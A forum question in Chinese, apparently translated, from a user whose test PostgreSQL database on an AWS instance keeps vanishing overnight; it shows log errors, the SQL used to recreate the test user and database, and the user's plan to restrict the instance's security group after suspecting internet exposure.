为什么我的测试用户数据库经常丢失？
我会让 AWS 实例停止一夜，然后在早上重新启动它。但是，我无法使用我的 jdtest 用户帐户登录！
我的系统日志中不断出现以下内容
/var/lib/postgresql/log/postgresql-16-main.log
LOG: starting PostgreSQL 16.3 (Ubuntu 16.3-0ubuntu0.24.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0, 64-bit

LOG: database system is ready to accept connections
jdtest@jdtest FATAL: database "jdtest" does not exist
jdtest@jdtest FATAL: database "jdtest" does not exist
我能解决这个问题的唯一方法是重新发布：
CREATE USER jdtest createdb login PASSWORD 'jdtest' ;
CREATE DATABASE jdtest owner jdtest;
GRANT ALL PRIVILEGES ON DATABASE jdtest TO jdtest;
但同样的问题不断发生。:-(
默认 AWS 实例中是否存在某种非永久性，而我作为新手却没有注意到？我是否应该创建某种（更永久的？？）AWS 数据存储和关联的 postgres tbs？
笔记：
DROP DATABASE 没有
根据上述与 jarmod 和 Klaver 的对话，我在 postgresql 系统日志中发现以下内容：

我将重建实例并限制其安全组以防止整个互联网的访问。
